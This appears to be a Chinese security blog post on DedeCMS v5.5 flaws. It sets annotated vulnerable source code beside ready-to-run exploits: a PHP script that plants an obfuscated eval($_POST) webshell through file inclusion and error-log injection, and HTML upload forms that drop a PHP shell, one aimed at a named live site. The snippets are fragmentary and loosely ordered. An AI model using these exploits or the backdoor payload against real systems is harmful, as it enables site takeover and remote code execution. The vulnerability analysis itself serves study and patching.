st0p's blog

...
$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
//通过isset函数检查$needCode是否已配置，如已配置则结果为$needCode，否则结果为$cfg_soft_lang
//当我们伪造结果为aa/../../../data/mysql_error_trace时
 
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 //后缀是.inc
}
//检查文件是否存在，存在则包含。我们通过../成功跳转到到data目录，包含我们刚才构造过的mysql_error_trace.inc
//成功运行我们mysql_error_trace.inc在构造的语句。。。
...

$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
$codefile = preg_replace("/[\w-]/", '', $codefile);
 //通过正则过滤了。。。
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 
}

<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+   
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
 
$host = $argv[1];
$path = $argv[2];
 
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
 
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
 
if(substr($content,9,3)=='200'){
    echo "\nShell Address is:".$host.$path.$shell;
}else{
    echo "\nError.";
}
function get_send($url){
    global $host, $path;
    $message = "GET ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
 
}
function post_send($url,$cmd){
 
    global $host, $path;
    $message = "POST ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?>

......
//文件名（前为手工指定， 后者自动处理）
if(!empty($newname))
{
	$filename = $newname; //当我们的新名称为st0p.php.的时候
	if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); //当$filename中不含有.的时候调用
	else $fs = explode('.', $filename); //当$filename中含有.时调用
	if(eregi($cfg_not_allowall, $fs[count($fs)-1])) //$fs[count($fs)-1]得到的值为空,跳过验证
	{
		ShowMsg("你指定的文件名被系统禁止！",'javascript:;');
		exit();
	}
	if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}
else
{
	$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
	$fs = explode('.', $uploadfile_name);
	if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
	{
		ShowMsg("你上传了某些可能存在不安全因素的文件，系统拒绝操作！",'javascript:;');
		exit();
	}
	$filename = $filename.'.'.$fs[count($fs)-1];
}
$fullfilename = $cfg_basedir.$activepath.'/'.$filename; //嘿嘿,跳过验证,$filename还为st0p.php.
$fullfileurl = $activepath.'/'.$filename;
move_uploaded_file($uploadfile,$fullfilename) or die("上传文件到 $fullfilename 失败！");
@unlink($uploadfile);
......

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>DEDECMS v5.5 Final select_soft_post.php EXP</title>
<script type="text/javascript">
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
</script>
<style type="text/css">
<!--
body {
	text-align: center;
}
-->
</style>
</head>
 
<body>
<h3>DEDECMS v5.5 Final select_soft_post.php EXP</h3>
<form action="" method="post" enctype="multipart/form-data">
  <p>
    <input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
    <input type="hidden" name="bkurl" value="1" />
    <label>Target:
      <input name="target" type="text" id="target" value="http://target" />
    </label>
    <label>Path:
      <input name="path" type="text" id="path" value="/include/dialog/select_soft_post.php" />
    </label>
    <label>File:
      <input type="file" name="uploadfile" id="uploadfile" />
    </label>
    <label>NewName:
      <input name="newname" type="text" id="newname" value="shell.php." />
    </label>
    &nbsp;<input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
  </p>
</form>
</body>
</html>

<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>

......
$urlindex = 0;
if(empty($arcID))
{
	$row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' ");
       //此处$arcurl没有过滤
	if(is_array($row)) $urlindex = $row['id'];
      //存在结果则把$urlindex赋值为查询到的$row['id'],我们可以构造SQL语句带入下面的操作中了
}
if(empty($arcID) && empty($urlindex)) exit();
//如果$arcID为空或$urlindex为空则退出
......
if(empty($arcID)) $wq = " urlindex = '$urlindex' ";
//我们让$arcID为空,刚才上面执行的结果就会被赋值给$wq带入下面的操作中执行了.
else $wq = " aid='$arcID' ";
 $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc";
$dlist->Init();
$dlist->SetSource($querystring);
......

< ?php
......
if(!isset($action)) $action = ''; //检测变量$action是否存在，不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在，不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在，不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在，不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') "; 
//变量$catid不为0时，就直接把$catid给$addquery了，没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时，就直接把$keyword给$addquery了，没有验证
$query = "
   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
   left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?>

<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

@fwrite($fp, ‘<’.'?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);

@fwrite($fp, ‘<’.'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);

	function Execute($id="me", $sql='')
	{
	......
		//SQL语句安全检查
		if($this->safeCheck)
		{
			CheckSql($this->queryString); //检测了SQL语句的问题，可是没有过滤php代码。。
		}
 
	......	
 
		if($this->result[$id]===false)
		{
			$this->DisplayError(mysql_error()." <br />Error sql: <font color='red'>".$this->queryString."</font>");
            //这里当碰到错误时会调用DisplayError函数，把queryString写进错误日志了，错误日志后缀是PHP哦。。
		}
	}
 
	function DisplayError($msg)
	{
		$errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.php';
		$emsg = '';
		$emsg .= "<div><h3>DedeCMS Error Warning!</h3>\r\n";
		$emsg .= "<div><a href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>";
		$emsg .= "<div style='line-helght:160%;font-size:14px;color:green'>\r\n";
		$emsg .= "<div style='color:blue'><br />Error page: <font color='red'>".$this->GetCurUrl()."</font></div>\r\n";
		$emsg .= "<div>Error infos: {$msg}</div>\r\n";
		$emsg .= "<br /></div></div>\r\n";
 
		echo $emsg;
 
		$savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;
		//保存MySql错误日志
		$fp = @fopen($errorTrackFile, 'a');
		@fwrite($fp, '<'.'?php'."\r\n/*\r\n{$savemsg}\r\n*/\r\n?".">\r\n");
		@fclose($fp);
	}

< ?php 
require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入
 
if(empty($activepath)) $activepath = "";
 
$activepath = str_replace("..","",$activepath); //过滤了..但没过滤.
$activepath = ereg_replace("^/{1,}","/",$activepath);
if(strlen($activepath)<strlen($cfg_soft_dir)){ 
	$activepath = $cfg_soft_dir;
}
//如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir，系统默认为/uploads/soft
//注意看这里，如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了，$cfg_soft_dir存在于include/config_base.php
 
$inpath = $cfg_basedir.$activepath; 
$activeurl = "..".$activepath;
if(empty($f)) $f="form1.enclosure";
 
if(empty($comeback)) $comeback = "";
 
?>